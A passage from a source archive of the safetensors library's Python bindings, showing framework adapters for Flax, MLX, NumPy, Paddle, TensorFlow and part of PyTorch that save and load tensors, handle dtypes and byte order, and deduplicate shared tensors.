def get_slice(self, name):
"""
Returns a full slice view object
Args:
name (`str`):
The name of the tensor you want
Returns:
(`PySafeSlice`):
A dummy object you can slice into to get a real tensor
Example:
```python
from safetensors import safe_open
with safe_open("model.safetensors", framework="pt", device=0) as f:
tensor_part = f.get_slice("embedding")[:, ::8]
```
"""
pass
def get_tensor(self, name):
"""
Returns a full tensor
Args:
name (`str`):
The name of the tensor you want
Returns:
(`Tensor`):
The tensor in the framework you opened the file for.
Example:
```python
from safetensors import safe_open
with safe_open("model.safetensors", framework="pt", device=0) as f:
tensor = f.get_tensor("embedding")
```
"""
pass
def get_tensors(self):
"""
Returns every tensor in the file as a dict keyed by name.
Equivalent to iterating `offset_keys()` and calling `get_tensor` on
each, but specific `framework` + `device` combinations take an internal
fast path. On Apple-silicon MPS with PyTorch and the `"pread"` backend,
it bulk-allocates shared `MTLBuffer`s, fills them with parallel
`pread(2)`, and hands them to torch via DLPack with no extra copy.
Returns:
(`Dict[str, Tensor]`):
A dict of all tensors in the file.
Example:
```python
from safetensors import safe_open
with safe_open("model.safetensors", framework="pt", device="mps", backend="pread") as f:
state_dict = f.get_tensors()
```
"""
pass
def keys(self):
"""
Returns the names of the tensors in the file.
Returns:
(`List[str]`):
The name of the tensors contained in that file
"""
pass
def metadata(self):
"""
Return the special non tensor information in the header
Returns:
(`Dict[str, str]`):
The freeform metadata.
"""
pass
def offset_keys(self):
"""
Returns the names of the tensors in the file, ordered by offset.
Returns:
(`List[str]`):
The name of the tensors contained in that file
"""
pass
class SafetensorError(Exception):
"""
Custom Python Exception for Safetensor errors.
"""
def add_note(self, object, /):
"""
Exception.add_note(note) --
add a note to the exception
"""
pass
def with_traceback(self, object, /):
"""
Exception.with_traceback(tb) --
set self.__traceback__ to tb and return self.
"""
pass
safetensors-safetensors-a406ca3/bindings/python/py_src/safetensors/flax.py 0000664 0000000 0000000 00000007667 15211744761 0027310 0 ustar 00root root 0000000 0000000 import os
from typing import Dict, Optional, Union
import numpy as np
import jax.numpy as jnp
from jax import Array
from safetensors import numpy, safe_open
def save(tensors: Dict[str, Array], metadata: Optional[Dict[str, str]] = None) -> bytes:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, Array]`):
The incoming tensors. Tensors need to be contiguous and dense.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`bytes`: The raw bytes representing the format
Example:
```python
from safetensors.flax import save
from jax import numpy as jnp
tensors = {"embedding": jnp.zeros((512, 1024)), "attention": jnp.zeros((256, 256))}
byte_data = save(tensors)
```
"""
np_tensors = _jnp2np(tensors)
return numpy.save(np_tensors, metadata=metadata)
def save_file(
tensors: Dict[str, Array],
filename: Union[str, os.PathLike],
metadata: Optional[Dict[str, str]] = None,
) -> None:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, Array]`):
The incoming tensors. Tensors need to be contiguous and dense.
filename (`str`, or `os.PathLike`)):
The filename we're saving into.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`None`
Example:
```python
from safetensors.flax import save_file
from jax import numpy as jnp
tensors = {"embedding": jnp.zeros((512, 1024)), "attention": jnp.zeros((256, 256))}
save_file(tensors, "model.safetensors")
```
"""
np_tensors = _jnp2np(tensors)
return numpy.save_file(np_tensors, filename, metadata=metadata)
def load(data: bytes) -> Dict[str, Array]:
"""
Loads a safetensors file into flax format from pure bytes.
Args:
data (`bytes`):
The content of a safetensors file
Returns:
`Dict[str, Array]`: dictionary that contains name as key, value as `Array` on cpu
Example:
```python
from safetensors.flax import load
file_path = "./my_folder/bert.safetensors"
with open(file_path, "rb") as f:
data = f.read()
loaded = load(data)
```
"""
flat = numpy.load(data)
return _np2jnp(flat)
def load_file(
filename: Union[str, os.PathLike], *, backend: str = "mmap"
) -> Dict[str, Array]:
"""
Loads a safetensors file into flax format.
Args:
filename (`str`, or `os.PathLike`)):
The name of the file which contains the tensors
backend (`str`, *optional*, defaults to `"mmap"`):
Storage backend used to serve tensor bytes. `"mmap"` (default)
and `"pread"` uses `pread(2)` to read tensor bytes.
Returns:
`Dict[str, Array]`: dictionary that contains name as key, value as `Array`
Example:
```python
from safetensors.flax import load_file
file_path = "./my_folder/bert.safetensors"
loaded = load_file(file_path)
```
"""
with safe_open(filename, framework="flax", backend=backend) as f:
return f.get_tensors()
def _np2jnp(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, Array]:
for k, v in numpy_dict.items():
numpy_dict[k] = jnp.array(v)
return numpy_dict
def _jnp2np(jnp_dict: Dict[str, Array]) -> Dict[str, np.array]:
for k, v in jnp_dict.items():
jnp_dict[k] = np.asarray(v)
return jnp_dict
safetensors-safetensors-a406ca3/bindings/python/py_src/safetensors/mlx.py 0000664 0000000 0000000 00000007664 15211744761 0027153 0 ustar 00root root 0000000 0000000 import os
from typing import Dict, Optional, Union
import numpy as np
import mlx.core as mx
from safetensors import numpy, safe_open
def save(
tensors: Dict[str, mx.array], metadata: Optional[Dict[str, str]] = None
) -> bytes:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, mx.array]`):
The incoming tensors. Tensors need to be contiguous and dense.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`bytes`: The raw bytes representing the format
Example:
```python
from safetensors.mlx import save
import mlx.core as mx
tensors = {"embedding": mx.zeros((512, 1024)), "attention": mx.zeros((256, 256))}
byte_data = save(tensors)
```
"""
np_tensors = _mx2np(tensors)
return numpy.save(np_tensors, metadata=metadata)
def save_file(
tensors: Dict[str, mx.array],
filename: Union[str, os.PathLike],
metadata: Optional[Dict[str, str]] = None,
) -> None:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, mx.array]`):
The incoming tensors. Tensors need to be contiguous and dense.
filename (`str`, or `os.PathLike`)):
The filename we're saving into.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`None`
Example:
```python
from safetensors.mlx import save_file
import mlx.core as mx
tensors = {"embedding": mx.zeros((512, 1024)), "attention": mx.zeros((256, 256))}
save_file(tensors, "model.safetensors")
```
"""
np_tensors = _mx2np(tensors)
return numpy.save_file(np_tensors, filename, metadata=metadata)
def load(data: bytes) -> Dict[str, mx.array]:
"""
Loads a safetensors file into MLX format from pure bytes.
Args:
data (`bytes`):
The content of a safetensors file
Returns:
`Dict[str, mx.array]`: dictionary that contains name as key, value as `mx.array`
Example:
```python
from safetensors.mlx import load
file_path = "./my_folder/bert.safetensors"
with open(file_path, "rb") as f:
data = f.read()
loaded = load(data)
```
"""
flat = numpy.load(data)
return _np2mx(flat)
def load_file(
filename: Union[str, os.PathLike], *, backend: str = "mmap"
) -> Dict[str, mx.array]:
"""
Loads a safetensors file into MLX format.
Args:
filename (`str`, or `os.PathLike`)):
The name of the file which contains the tensors
backend (`str`, *optional*, defaults to `"mmap"`):
Storage backend used to serve tensor bytes. `"mmap"` (default)
and `"pread"` uses `pread(2)` to read tensor bytes.
Returns:
`Dict[str, mx.array]`: dictionary that contains name as key, value as `mx.array`
Example:
```python
from safetensors.flax import load_file
file_path = "./my_folder/bert.safetensors"
loaded = load_file(file_path)
```
"""
with safe_open(filename, framework="mlx", backend=backend) as f:
return f.get_tensors()
def _np2mx(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, mx.array]:
for k, v in numpy_dict.items():
numpy_dict[k] = mx.array(v)
return numpy_dict
def _mx2np(mx_dict: Dict[str, mx.array]) -> Dict[str, np.array]:
new_dict = {}
for k, v in mx_dict.items():
new_dict[k] = np.asarray(v)
return new_dict
safetensors-safetensors-a406ca3/bindings/python/py_src/safetensors/numpy.py 0000664 0000000 0000000 00000012611 15211744761 0027507 0 ustar 00root root 0000000 0000000 import os
import sys
from typing import Dict, List, Optional, Union
import numpy as np
from safetensors import TensorSpec, deserialize, safe_open, serialize, serialize_file
def _flatten(
tensor_dict: Dict[str, np.ndarray], keep_alive_buffer: List
) -> Dict[str, Dict]:
flattened = {}
for k, v in tensor_dict.items():
tensor = v
if not _is_little_endian(tensor):
tensor = tensor.byteswap(inplace=False)
keep_alive_buffer.append(tensor)
flattened[k] = TensorSpec(
dtype=tensor.dtype.name,
shape=tensor.shape,
data_ptr=tensor.ctypes.data,
data_len=tensor.nbytes,
)
return flattened
def save(
tensor_dict: Dict[str, np.ndarray], metadata: Optional[Dict[str, str]] = None
) -> bytes:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensor_dict (`Dict[str, np.ndarray]`):
The incoming tensors. Tensors need to be contiguous and dense.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`bytes`: The raw bytes representing the format
Example:
```python
from safetensors.numpy import save
import numpy as np
tensors = {"embedding": np.zeros((512, 1024)), "attention": np.zeros((256, 256))}
byte_data = save(tensors)
```
"""
keep_alive_buffer = [] # to keep byteswapped tensors alive
serialized = serialize(_flatten(tensor_dict, keep_alive_buffer), metadata=metadata)
result = bytes(serialized)
return result
def save_file(
tensor_dict: Dict[str, np.ndarray],
filename: Union[str, os.PathLike],
metadata: Optional[Dict[str, str]] = None,
) -> None:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensor_dict (`Dict[str, np.ndarray]`):
The incoming tensors. Tensors need to be contiguous and dense.
filename (`str`, or `os.PathLike`)):
The filename we're saving into.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`None`
Example:
```python
from safetensors.numpy import save_file
import numpy as np
tensors = {"embedding": np.zeros((512, 1024)), "attention": np.zeros((256, 256))}
save_file(tensors, "model.safetensors")
```
"""
keep_alive_buffer = [] # to keep byteswapped tensors alive
serialize_file(
_flatten(tensor_dict, keep_alive_buffer), filename, metadata=metadata
)
def load(data: bytes) -> Dict[str, np.ndarray]:
"""
Loads a safetensors file into numpy format from pure bytes.
Args:
data (`bytes`):
The content of a safetensors file
Returns:
`Dict[str, np.ndarray]`: dictionary that contains name as key, value as `np.ndarray` on cpu
Example:
```python
from safetensors.numpy import load
file_path = "./my_folder/bert.safetensors"
with open(file_path, "rb") as f:
data = f.read()
loaded = load(data)
```
"""
flat = deserialize(data)
return _view2np(flat)
def load_file(
filename: Union[str, os.PathLike], *, backend: str = "mmap"
) -> Dict[str, np.ndarray]:
"""
Loads a safetensors file into numpy format.
Args:
filename (`str`, or `os.PathLike`)):
The name of the file which contains the tensors
backend (`str`, *optional*, defaults to `"mmap"`):
Storage backend used to serve tensor bytes. `"mmap"` (default)
and `"pread"` uses `pread(2)` to read tensor bytes.
Returns:
`Dict[str, np.ndarray]`: dictionary that contains name as key, value as `np.ndarray`
Example:
```python
from safetensors.numpy import load_file
file_path = "./my_folder/bert.safetensors"
loaded = load_file(file_path)
```
"""
with safe_open(filename, framework="np", backend=backend) as f:
return f.get_tensors()
_TYPES = {
"F64": np.float64,
"F32": np.float32,
"F16": np.float16,
"I64": np.int64,
"U64": np.uint64,
"I32": np.int32,
"U32": np.uint32,
"I16": np.int16,
"U16": np.uint16,
"I8": np.int8,
"U8": np.uint8,
"BOOL": bool,
"C64": np.complex64,
}
def _getdtype(dtype_str: str) -> np.dtype:
return _TYPES[dtype_str]
def _view2np(safeview) -> Dict[str, np.ndarray]:
result = {}
for k, v in safeview:
dtype = _getdtype(v["dtype"])
arr = np.frombuffer(v["data"], dtype=dtype).reshape(v["shape"])
result[k] = arr
return result
def _is_little_endian(tensor: np.ndarray) -> bool:
byteorder = tensor.dtype.byteorder
if byteorder == "=":
if sys.byteorder == "little":
return True
else:
return False
elif byteorder == "|":
return True
elif byteorder == "<":
return True
elif byteorder == ">":
return False
raise ValueError(f"Unexpected byte order {byteorder}")
safetensors-safetensors-a406ca3/bindings/python/py_src/safetensors/paddle.py 0000664 0000000 0000000 00000022166 15211744761 0027576 0 ustar 00root root 0000000 0000000 import os
import sys
from typing import Any, Dict, List, Optional, Union
import numpy as np
import paddle
from safetensors import (
TensorSpec,
numpy,
deserialize,
safe_open,
serialize,
serialize_file,
)
def save(
tensors: Dict[str, paddle.Tensor], metadata: Optional[Dict[str, str]] = None
) -> bytes:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, paddle.Tensor]`):
The incoming tensors. Tensors need to be contiguous and dense.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`bytes`: The raw bytes representing the format
Example:
```python
from safetensors.paddle import save
import paddle
tensors = {"embedding": paddle.zeros((512, 1024)), "attention": paddle.zeros((256, 256))}
byte_data = save(tensors)
```
"""
keep_references_alive = []
serialized = serialize(_flatten(tensors, keep_references_alive), metadata=metadata)
result = bytes(serialized)
return result
def save_file(
tensors: Dict[str, paddle.Tensor],
filename: Union[str, os.PathLike],
metadata: Optional[Dict[str, str]] = None,
) -> None:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, paddle.Tensor]`):
The incoming tensors. Tensors need to be contiguous and dense.
filename (`str`, or `os.PathLike`)):
The filename we're saving into.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`None`
Example:
```python
from safetensors.paddle import save_file
import paddle
tensors = {"embedding": paddle.zeros((512, 1024)), "attention": paddle.zeros((256, 256))}
save_file(tensors, "model.safetensors")
```
"""
keep_references_alive = []
serialize_file(
_flatten(tensors, keep_references_alive), filename, metadata=metadata
)
def load(data: bytes, device: str = "cpu") -> Dict[str, paddle.Tensor]:
"""
Loads a safetensors file into paddle format from pure bytes.
Args:
data (`bytes`):
The content of a safetensors file
Returns:
`Dict[str, paddle.Tensor]`: dictionary that contains name as key, value as `paddle.Tensor` on cpu
Example:
```python
from safetensors.paddle import load
file_path = "./my_folder/bert.safetensors"
with open(file_path, "rb") as f:
data = f.read()
loaded = load(data)
```
"""
if paddle.__version__ >= "3.2.0":
flat = deserialize(data)
return _view2paddle(flat, device)
else:
flat = numpy.load(data)
return _np2paddle(flat, device)
def load_file(
filename: Union[str, os.PathLike], device="cpu", *, backend: str = "mmap"
) -> Dict[str, paddle.Tensor]:
"""
Loads a safetensors file into paddle format.
Args:
filename (`str`, or `os.PathLike`)):
The name of the file which contains the tensors
device (`Union[Dict[str, any], str]`, *optional*, defaults to `cpu`):
The device where the tensors need to be located after load.
available options are all regular paddle device locations
backend (`str`, *optional*, defaults to `"mmap"`):
Storage backend used to serve tensor bytes. `"mmap"` (default)
and `"pread"` uses `pread(2)` to read tensor bytes.
Returns:
`Dict[str, paddle.Tensor]`: dictionary that contains name as key, value as `paddle.Tensor`
Example:
```python
from safetensors.paddle import load_file
file_path = "./my_folder/bert.safetensors"
loaded = load_file(file_path)
```
"""
if paddle.__version__ >= "3.2.0":
with safe_open(
filename, framework="paddle", device=device, backend=backend
) as f:
return f.get_tensors()
flat = numpy.load_file(filename, backend=backend)
return _np2paddle(flat, device)
def _np2paddle(
numpy_dict: Dict[str, np.ndarray], device: str = "cpu"
) -> Dict[str, paddle.Tensor]:
for k, v in numpy_dict.items():
numpy_dict[k] = paddle.to_tensor(v, place=device)
return numpy_dict
def _paddle2np(paddle_dict: Dict[str, paddle.Tensor]) -> Dict[str, np.array]:
for k, v in paddle_dict.items():
paddle_dict[k] = v.detach().cpu().numpy()
return paddle_dict
_SIZE = {
paddle.int64: 8,
paddle.float32: 4,
paddle.int32: 4,
paddle.bfloat16: 2,
paddle.float16: 2,
paddle.int16: 2,
paddle.uint8: 1,
paddle.int8: 1,
paddle.bool: 1,
paddle.float64: 8,
paddle.float8_e4m3fn: 1,
paddle.float8_e5m2: 1,
paddle.complex64: 8,
# XXX: These are not supported yet in paddle
# paddle.uint64: 8,
# paddle.uint32: 4,
# paddle.uint16: 2,
# paddle.float8_e8m0: 1,
# paddle.float4_e2m1_x2: 1,
}
_TYPES = {
"F64": paddle.float64,
"F32": paddle.float32,
"F16": paddle.float16,
"BF16": paddle.bfloat16,
"I64": paddle.int64,
"I32": paddle.int32,
"I16": paddle.int16,
"I8": paddle.int8,
"U8": paddle.uint8,
"BOOL": paddle.bool,
"F8_E4M3": paddle.float8_e4m3fn,
"F8_E5M2": paddle.float8_e5m2,
}
NPDTYPES = {
paddle.int64: np.int64,
paddle.float32: np.float32,
paddle.int32: np.int32,
# XXX: This is ok because both have the same width
paddle.bfloat16: np.float16,
paddle.float16: np.float16,
paddle.int16: np.int16,
paddle.uint8: np.uint8,
paddle.int8: np.int8,
paddle.bool: bool,
paddle.float64: np.float64,
# XXX: This is ok because both have the same width and byteswap is a no-op anyway
paddle.float8_e4m3fn: np.uint8,
paddle.float8_e5m2: np.uint8,
}
def _getdtype(dtype_str: str) -> paddle.dtype:
return _TYPES[dtype_str]
def _view2paddle(safeview, device) -> Dict[str, paddle.Tensor]:
result = {}
for k, v in safeview:
dtype = _getdtype(v["dtype"])
if len(v["data"]) == 0:
# Workaround because frombuffer doesn't accept zero-size tensors
assert any(x == 0 for x in v["shape"])
arr = paddle.empty(v["shape"], dtype=dtype)
else:
arr = paddle.base.core.frombuffer(v["data"], dtype).reshape(v["shape"])
if device != "cpu":
arr = arr.to(device)
if sys.byteorder == "big":
arr = paddle.to_tensor(arr.numpy().byteswap(inplace=False), place=device)
result[k] = arr
return result
def _to_ndarray(tensor: paddle.Tensor, name: str):
if not tensor.is_contiguous():
raise ValueError(
f"You are trying to save a non contiguous tensor: `{name}` which is not allowed. It either means you"
" are trying to save tensors which are reference of each other in which case it's recommended to save"
" only the full tensors, and reslice at load time, or simply call `.contiguous()` on your tensor to"
" pack it before saving."
)
if not tensor.place.is_cpu_place():
# Moving tensor to cpu before saving
tensor = tensor.cpu()
import ctypes
# When shape is empty (scalar), np.prod returns a float
# we need a int for the following calculations
length = int(np.prod(tensor.shape).item())
bytes_per_item = _SIZE[tensor.dtype]
total_bytes = length * bytes_per_item
ptr = tensor.data_ptr()
if ptr == 0:
return np.empty(
0
), 0 # XXX: bogus value we don't really care if we return a tensor here
newptr = ctypes.cast(ptr, ctypes.POINTER(ctypes.c_ubyte))
data = np.ctypeslib.as_array(newptr, (total_bytes,)) # no internal copy
if sys.byteorder == "big":
npdtype = NPDTYPES[tensor.dtype]
# Not in place as that would potentially modify a live running model
data = data.view(npdtype).byteswap(inplace=False)
return data, tensor
def _flatten(
tensors: Dict[str, paddle.Tensor], keep_alive_buffer: List
) -> Dict[str, Dict[str, Any]]:
if not isinstance(tensors, dict):
raise ValueError(
f"Expected a dict of [str, paddle.Tensor] but received {type(tensors)}"
)
for k, v in tensors.items():
if not isinstance(v, paddle.Tensor):
raise ValueError(
f"Key `{k}` is invalid, expected paddle.Tensor but received {type(v)}"
)
flattened = {}
for k, v in tensors.items():
arr, tensor_ref = _to_ndarray(v, k)
keep_alive_buffer.append((arr, tensor_ref))
flattened[k] = TensorSpec(
dtype=str(v.dtype).split(".")[-1],
shape=v.shape,
data_ptr=arr.ctypes.data,
data_len=arr.nbytes,
)
return flattened
safetensors-safetensors-a406ca3/bindings/python/py_src/safetensors/py.typed 0000664 0000000 0000000 00000000000 15211744761 0027451 0 ustar 00root root 0000000 0000000 safetensors-safetensors-a406ca3/bindings/python/py_src/safetensors/tensorflow.py 0000664 0000000 0000000 00000007751 15211744761 0030552 0 ustar 00root root 0000000 0000000 import os
from typing import Dict, Optional, Union
import numpy as np
import tensorflow as tf
from safetensors import numpy, safe_open
def save(
tensors: Dict[str, tf.Tensor], metadata: Optional[Dict[str, str]] = None
) -> bytes:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, tf.Tensor]`):
The incoming tensors. Tensors need to be contiguous and dense.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`bytes`: The raw bytes representing the format
Example:
```python
from safetensors.tensorflow import save
import tensorflow as tf
tensors = {"embedding": tf.zeros((512, 1024)), "attention": tf.zeros((256, 256))}
byte_data = save(tensors)
```
"""
np_tensors = _tf2np(tensors)
return numpy.save(np_tensors, metadata=metadata)
def save_file(
tensors: Dict[str, tf.Tensor],
filename: Union[str, os.PathLike],
metadata: Optional[Dict[str, str]] = None,
) -> None:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, tf.Tensor]`):
The incoming tensors. Tensors need to be contiguous and dense.
filename (`str`, or `os.PathLike`)):
The filename we're saving into.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`None`
Example:
```python
from safetensors.tensorflow import save_file
import tensorflow as tf
tensors = {"embedding": tf.zeros((512, 1024)), "attention": tf.zeros((256, 256))}
save_file(tensors, "model.safetensors")
```
"""
np_tensors = _tf2np(tensors)
return numpy.save_file(np_tensors, filename, metadata=metadata)
def load(data: bytes) -> Dict[str, tf.Tensor]:
"""
Loads a safetensors file into tensorflow format from pure bytes.
Args:
data (`bytes`):
The content of a safetensors file
Returns:
`Dict[str, tf.Tensor]`: dictionary that contains name as key, value as `tf.Tensor` on cpu
Example:
```python
from safetensors.tensorflow import load
file_path = "./my_folder/bert.safetensors"
with open(file_path, "rb") as f:
data = f.read()
loaded = load(data)
```
"""
flat = numpy.load(data)
return _np2tf(flat)
def load_file(
filename: Union[str, os.PathLike], *, backend: str = "mmap"
) -> Dict[str, tf.Tensor]:
"""
Loads a safetensors file into tensorflow format.
Args:
filename (`str`, or `os.PathLike`)):
The name of the file which contains the tensors
backend (`str`, *optional*, defaults to `"mmap"`):
Storage backend used to serve tensor bytes. `"mmap"` (default)
and `"pread"` uses `pread(2)` to read tensor bytes.
Returns:
`Dict[str, tf.Tensor]`: dictionary that contains name as key, value as `tf.Tensor`
Example:
```python
from safetensors.tensorflow import load_file
file_path = "./my_folder/bert.safetensors"
loaded = load_file(file_path)
```
"""
with safe_open(filename, framework="tf", backend=backend) as f:
return f.get_tensors()
def _np2tf(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, tf.Tensor]:
for k, v in numpy_dict.items():
numpy_dict[k] = tf.convert_to_tensor(v)
return numpy_dict
def _tf2np(tf_dict: Dict[str, tf.Tensor]) -> Dict[str, np.array]:
for k, v in tf_dict.items():
tf_dict[k] = v.numpy()
return tf_dict
safetensors-safetensors-a406ca3/bindings/python/py_src/safetensors/torch.py 0000664 0000000 0000000 00000047530 15211744761 0027466 0 ustar 00root root 0000000 0000000 import os
import sys
from collections import defaultdict
from typing import Any, Dict, List, Optional, Set, Tuple, Union
import torch
from safetensors import (
TensorSpec,
deserialize,
safe_open,
serialize,
serialize_file,
)
def storage_ptr(tensor: torch.Tensor) -> int:
try:
return tensor.untyped_storage().data_ptr()
except Exception:
# Fallback for torch==1.10
try:
return tensor.storage().data_ptr()
except NotImplementedError:
# Fallback for meta storage
return 0
def _end_ptr(tensor: torch.Tensor) -> int:
if tensor.nelement():
stop = tensor.view(-1)[-1].data_ptr() + _SIZE[tensor.dtype]
else:
stop = tensor.data_ptr()
return stop
def storage_size(tensor: torch.Tensor) -> int:
try:
return tensor.untyped_storage().nbytes()
except AttributeError:
# Fallback for torch==1.10
try:
return tensor.storage().size() * _SIZE[tensor.dtype]
except NotImplementedError:
# Fallback for meta storage
# On torch >=2.0 this is the tensor size
return tensor.nelement() * _SIZE[tensor.dtype]
def _filter_shared_not_shared(
tensors: List[Set[str]], state_dict: Dict[str, torch.Tensor]
) -> List[Set[str]]:
filtered_tensors = []
for shared in tensors:
if len(shared) < 2:
filtered_tensors.append(shared)
continue
areas = []
for name in shared:
tensor = state_dict[name]
areas.append((tensor.data_ptr(), _end_ptr(tensor), name))
areas.sort()
_, last_stop, last_name = areas[0]
filtered_tensors.append({last_name})
for start, stop, name in areas[1:]:
if start >= last_stop:
filtered_tensors.append({name})
else:
filtered_tensors[-1].add(name)
last_stop = stop
return filtered_tensors
def _find_shared_tensors(state_dict: Dict[str, torch.Tensor]) -> List[Set[str]]:
tensors = defaultdict(set)
for k, v in state_dict.items():
if (
v.device != torch.device("meta")
and storage_ptr(v) != 0
and storage_size(v) != 0
):
# Need to add device as key because of multiple GPU.
tensors[(v.device, storage_ptr(v), storage_size(v))].add(k)
tensors = list(sorted(tensors.values()))
tensors = _filter_shared_not_shared(tensors, state_dict)
return tensors
def _is_complete(tensor: torch.Tensor) -> bool:
return tensor.data_ptr() == storage_ptr(tensor) and tensor.nelement() * _SIZE[
tensor.dtype
] == storage_size(tensor)
def _remove_duplicate_names(
state_dict: Dict[str, torch.Tensor],
*,
preferred_names: Optional[List[str]] = None,
discard_names: Optional[List[str]] = None,
) -> Dict[str, List[str]]:
if preferred_names is None:
preferred_names = []
preferred_names = set(preferred_names)
if discard_names is None:
discard_names = []
discard_names = set(discard_names)
shareds = _find_shared_tensors(state_dict)
to_remove = defaultdict(list)
for shared in shareds:
complete_names = set(
[name for name in shared if _is_complete(state_dict[name])]
)
if not complete_names:
raise RuntimeError(
"Error while trying to find names to remove to save state dict, but found no suitable name to keep"
f" for saving amongst: {shared}. None is covering the entire storage.Refusing to save/load the model"
" since you could be storing much more memory than needed. Please refer to"
" https://huggingface.co/docs/safetensors/torch_shared_tensors for more information. Or open an"
" issue."
)
keep_name = sorted(list(complete_names))[0]
# Mechanism to preferentially select keys to keep
# coming from the on-disk file to allow
# loading models saved with a different choice
# of keep_name
preferred = complete_names.difference(discard_names)
if preferred:
keep_name = sorted(list(preferred))[0]
if preferred_names:
preferred = preferred_names.intersection(complete_names)
if preferred:
keep_name = sorted(list(preferred))[0]
for name in sorted(shared):
if name != keep_name:
to_remove[keep_name].append(name)
return to_remove
def save_model(
model: torch.nn.Module,
filename: str,
metadata: Optional[Dict[str, str]] = None,
force_contiguous: bool = True,
):
"""
Saves a given torch model to specified filename.
This method exists specifically to avoid tensor sharing issues which are
not allowed in `safetensors`. [More information on tensor sharing](../torch_shared_tensors)
Args:
model (`torch.nn.Module`):
The model to save on disk.
filename (`str`):
The filename location to save the file
metadata (`Dict[str, str]`, *optional*):
Extra information to save along with the file.
Some metadata will be added for each dropped tensors.
This information will not be enough to recover the entire
shared structure but might help understanding things
force_contiguous (`boolean`, *optional*, defaults to True):
Forcing the state_dict to be saved as contiguous tensors.
This has no effect on the correctness of the model, but it
could potentially change performance if the layout of the tensor
was chosen specifically for that reason.
"""
state_dict = model.state_dict()
to_removes = _remove_duplicate_names(state_dict)
for kept_name, to_remove_group in to_removes.items():
for to_remove in to_remove_group:
if metadata is None:
metadata = {}
if to_remove not in metadata:
# Do not override user data
metadata[to_remove] = kept_name
del state_dict[to_remove]
if force_contiguous:
state_dict = {k: v.contiguous() for k, v in state_dict.items()}
try:
save_file(state_dict, filename, metadata=metadata)
except ValueError as e:
msg = str(e)
msg += " Or use save_model(..., force_contiguous=True), read the docs for potential caveats."
raise ValueError(msg)
def load_model(
model: torch.nn.Module,
filename: Union[str, os.PathLike],
strict: bool = True,
device: Union[str, int] = "cpu",
*,
backend: str = "mmap",
) -> Tuple[List[str], List[str]]:
"""
Loads a given filename onto a torch model.
This method exists specifically to avoid tensor sharing issues which are
not allowed in `safetensors`. [More information on tensor sharing](../torch_shared_tensors)
Args:
model (`torch.nn.Module`):
The model to load onto.
filename (`str`, or `os.PathLike`):
The filename location to load the file from.
strict (`bool`, *optional*, defaults to True):
Whether to fail if you're missing keys or having unexpected ones.
When false, the function simply returns missing and unexpected names.
device (`Union[str, int]`, *optional*, defaults to `cpu`):
The device where the tensors need to be located after load.
available options are all regular torch device locations.
backend (`str`, *optional*, defaults to `"mmap"`):
Storage backend used to serve tensor bytes. `"mmap"` (default)
and `"pread"` uses `pread(2)` to read tensor bytes.
Returns:
`(missing, unexpected): (List[str], List[str])`
`missing` are names in the model which were not modified during loading
`unexpected` are names that are on the file, but weren't used during
the load.
"""
state_dict = load_file(filename, device=device, backend=backend)
model_state_dict = model.state_dict()
to_removes = _remove_duplicate_names(
model_state_dict, preferred_names=state_dict.keys()
)
missing, unexpected = model.load_state_dict(state_dict, strict=False)
missing = set(missing)
for to_remove_group in to_removes.values():
for to_remove in to_remove_group:
if to_remove not in missing:
unexpected.append(to_remove)
else:
missing.remove(to_remove)
if strict and (missing or unexpected):
missing_keys = ", ".join([f'"{k}"' for k in sorted(missing)])
unexpected_keys = ", ".join([f'"{k}"' for k in sorted(unexpected)])
error = f"Error(s) in loading state_dict for {model.__class__.__name__}:"
if missing:
error += f"\n Missing key(s) in state_dict: {missing_keys}"
if unexpected:
error += f"\n Unexpected key(s) in state_dict: {unexpected_keys}"
raise RuntimeError(error)
return missing, unexpected
def save(
tensors: Dict[str, torch.Tensor], metadata: Optional[Dict[str, str]] = None
) -> bytes:
"""
Saves a dictionary of tensors into raw bytes in safetensors format.
Args:
tensors (`Dict[str, torch.Tensor]`):
